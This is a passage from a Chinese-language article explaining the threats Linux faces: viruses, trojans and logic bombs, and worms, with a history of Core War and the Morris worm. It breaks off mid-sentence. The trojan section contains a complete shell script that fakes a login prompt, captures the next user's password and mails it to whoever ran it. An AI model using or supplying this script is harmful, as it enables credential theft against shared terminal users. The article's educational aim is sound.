簡介
通常有四種截然不同類型的威脅,不過用戶經常混淆它們,這主要是因為一次攻擊的發生往往是各種機制同時作用的結果:
病毒 自我復制以感染宿主程序體;
特洛伊木馬 執行任務以將之自身隱藏在某個貌似無害的應用程序中;
蠕蟲 利用計算機網絡來進行自我繁殖,例如通過電子郵件;
後門程序 允許外部用戶使用間接手段掌控某項應用程序。
對它們加以分類通常不那麼容易;例如,有些程序在某些觀測者看來是病毒,但其它人卻認為它們是蠕蟲,要做出最終的決策是十分棘手的。不過對於本文所涉及的范圍來說,這倒並不很重要,本文意在闡明哪種威脅會危及Linux系統。
與普遍看法正相反的是,這四種禍害其實已經都存在於Linux上了。當然,病毒的傳播環境不像在如DOS下那麼有利,但現有的威脅亦不容小視。就讓我們分析一下有哪些風險。
潛在的威脅
病毒
病毒是一小段安置在某個宿主程序核心位置的代碼,它能夠通過感染新的執行文件來自我復制。病毒最早出現於70年代,當時的程序員在玩一個叫做"core war"的游戲。這個游戲來自於Bell AT&T laboratories[MARSDEN 00]。其目標是在有限的內存區域裡並行運行,小程序能夠互相破壞。操作系統沒有提供程序內存區域之間的保護,這樣就允許相互進攻以消滅對手。為此,有些人使用'0'來“轟炸”最大可能的內存區域,與此同時,其它一些人永遠在地址空間中移動,希望覆蓋掉對手的代碼,有時,他們中的一些會聯合起來消滅某個難對付的“敵人”。
實現該游戲的算法被翻譯成一門特別為其創建的匯編語言“red code”,它通過絕大多數現有機器上的仿真器來執行。游戲中的樂趣更多源於科學的好奇,就如對the Life of Conway Game,不規則碎片形和遺傳算法等的狂熱一樣。
不過,隨著關於core war的文章發表在Scientific American[DEWDNEY 84]上,不可避免的事發生了,有些人開始編寫小段的自我復制的代碼,這些代碼特別針對於軟驅啟動扇區或者可執行文件。起初是在Apple ][計算機上出現,接下來就到了MacIntosh和PC的計算機上。
MS DOS操作系統成為了病毒繁殖環境的絕佳之選:靜態可執行文件有著眾所周知的格式,沒有內存保護,沒有基於文件存取權限的安全設置,廣泛地在內存中堆疊使用TSR常駐程序,等等。我們必須還加上一條用戶心理狀態的因素,他們瘋狂地用軟盤交換可執行程序甚而毫不考慮文件的來源。
在最簡單的模式中,病毒就是一小段代碼,它可以在啟動一項應用程序時作為附件執行。它將利用這段時間來查找其它尚未感染的可執行文件,將其自身內嵌入這些文件中(要是考慮再周到一些,最好保持原程序不作修改)並退出。一旦啟動新的可執行文件時,進程即會重新啟動。
得益於大量“利器”的協助,病毒可以自動復制自身。在[LUDWIG 91]和[LUDWIG 93]中,有關於for DOS病毒的詳細描述,它們使用詭秘的隱身術以保持領先於當前的殺毒軟件:隨機加密,代碼永久變化等等。你甚至可能遇到使用遺傳算法來優化其生存期和繁殖能力的病毒。相關的信息你可以在以下這篇非常著名的文檔中找到:[SPAFFORD 94].
而我們必須牢記於心的是計算機病毒已經超越了虛擬生活中試驗的主題范圍,它可以造成大面積的損害。一小段代碼的多重復制本質不過是空間的浪費(磁盤和內存),而病毒則可以此作為支撐——運輸工具——來服務於其它更加令人不快的東西:邏輯炸彈,我們將在特洛伊木馬中再次談到它。
特洛伊木馬和邏輯炸彈
Timeo Danaos et dona ferentes - 即便當希臘人送禮時,我也懼怕他們。 (Virgile, Aeneid,II, 49)。
被圍困的特洛伊人作了一個糟糕的決定,他們將大量被希臘攻擊者作為宗教祭品而遺棄的木馬雕像放進了城。真正的突擊隊就藏在特洛伊木馬的側部,待到他們一旦滲入城內,便利用夜幕掩護從裡面攻擊城池,這樣使得希臘人最終贏得了特洛伊戰爭的勝利。
著名的“特洛伊木馬”常被用作計算機安全領域的專門術語,它表示一個看似無害的應用程序,就如上面提到的病毒一樣,傳播破壞性的代碼邏輯炸彈。
邏輯炸彈是一段惡意傷害的程序,它具備各種迥異的效力:
系統資源的高消耗(內存,硬盤,CPU等等。);
所有可能文件的快速破壞(覆蓋它們以阻止用戶找回其內容);
不時地對一個文件進行秘密侵蝕,以盡可能隱藏得更久;
對系統安全的攻擊(執行十分松懈的存取權限,將密碼文件發送給一個internet地址等等。);
將該機器作為計算機恐怖行動之用,這些恐怖行動如DDoS(Distributed Denial of Service)之類的都在業已聞名的文章[GIBSON 01]中有提到;
關於磁盤上應用程序注冊碼的詳細清單,並將其發送給軟件開發者。
在某些情況下,邏輯炸彈會針對特定的目標系統來編寫,以試圖竊取其上的機密信息,破壞特殊文件或者盜用用戶身份識別去毀損其名譽。同樣的炸彈在任何其他類型的系統上則是無害的。
邏輯炸彈也可以試圖在物理上破壞其駐留的系統。這種可能性雖然不大,但是確實存在(刪除CMOS存儲器內容,修改modem閃存內容,打印機、繪圖儀、掃描儀的頭部毀滅性的移動,硬盤讀磁頭的加速運轉...)
倘若繼續按照“炸彈”的比喻描述,我們可以說邏輯炸彈需要雷管來引爆。實際上,就效率而言,特洛伊木馬或病毒在首次啟動時就執行破壞性的操作是一個不好的策略。在安裝了邏輯炸彈之後,最好是等待一會再爆炸。對於病毒傳播來說,這可以增加其在其它系統中傳播的“機會”;而就特洛伊木馬來說,則可以不讓用戶太容易發現新的應用程序安裝與他機器上的異常現象之間的聯系。
就像任何害人之舉一樣,發作機制也是各有不同:安裝後延遲十天,刪除特定用戶帳號(臨時刪除),鍵盤和鼠標停止活動30分鐘,打印機隊列的高負載...無所不缺!最有名的特洛伊木馬是屏幕保護程序,盡管今天看來這有點太老套。在誘人的外表下,這些程序能夠不受干擾地實施破壞,特別是如果邏輯炸彈恰在一小時之後引爆,那麼幾乎可以肯定用戶此時已經不在計算機前面了。
另一個特洛伊木馬的著名例子是下面這個腳本,它顯示一個登錄/密碼(login/passWord)屏幕,並發送信息給啟動程序的人然後退出。若它工作於未使用的終端,該腳本將會俘獲下個嘗試連接的用戶的密碼。
#! /bin/sh
clear
cat /etc/issue
echo -n "login: "
read login
echo -n "Password: "
stty -echo
read passwd
stty sane
mail $USER <<- fin
login: $login
passwd: $passwd
fin
echo "Login incorrect"
sleep 1
logout
為使之在完成以後斷開連接,它必須用shell命令exec啟動。當受害者看到"Login incorrect"消息時,會以為自己輸入錯誤,他們會以常規的方法嘗試再次連接。更為高級的版本能夠模擬X11連接對話框。為了避免落入這種圈套,最好是先在終端上使用一個錯誤的登錄/密碼(這種方法反其道而行之,十分容易而且很快就能學會)。
蠕蟲
Paul發現自己在Worm之上,歡呼雀躍,就像一位君主主宰了整個宇宙。(F. Herbert "Dune") "Worms"出自於與病毒一樣的原理。它們是一種嘗試復制自身以盡可能傳播得最廣的程序。它們也可以攜帶一枚裝備了延遲觸發器的邏輯炸彈,盡管這並非其主要功能。蠕蟲與病毒的差別在於蠕蟲不使用宿主程序作為傳播媒介,它們試圖得益於由網絡提供的功能,例如電子郵件來從一台機器傳到另一台機器。
蠕蟲的技術等級相當高;它們利用提供網絡服務的軟件的漏洞來促使其在遠程機器上自我復制。其原型是1988"Internet Worm"。
Internet Worm是一個純蠕蟲的例子,沒有包含邏輯炸彈,不過其不露聲色的破壞效果十分可怕。你可以在[KEHOE 92]上找到對其簡短而精到的描述,或者在[SPAFFORD 88]或[EICHIN 89]上找到詳細的分析報告。
簡而言之,蠕蟲程序的作者是Robert Morris Jr,他當時是Cornell大學的學生,並已經因為一篇關於網絡協議中的安全問題的文章[MORRIS 85]而小有名氣。他便是在NCSC(NSA的分支部門)因計算機安全而被指控的那個人。程序是在1988年11月2日傍晚發布的,並且導致連接到Internet上的絕大多數系統停止運行。它的工作步驟如下:
1.一旦滲透進入計算機,蠕蟲就嘗試傳入網絡。為了獲取地址,它讀取系統文件並調用工具程序如netstat來提供關於網絡接口的信息。
2.接下來,它試圖獲得用戶帳號。為此,它拿字典內容與密碼文件作比較。同時,它嘗試使用用戶名字的組合(反向,重復等等)作為密碼。這一步會要借助於系統的第一個漏洞:密碼加密在一個可讀的文件(/etc/passwd)中,這樣便可以從某些用戶對密碼的糟糕選擇中獲益。第一個漏洞現在已經通過使用shadow passwords獲得解決。
3.如果成功地獲得了用戶的帳號,蠕蟲會試圖找出那些提供直接訪問而無需身份鑒定的機器,也就是使用~/.rhost和/etc/hosts.equiv文件。在那種情況下,再使用rsh來在遠程機器上執行指令。這樣,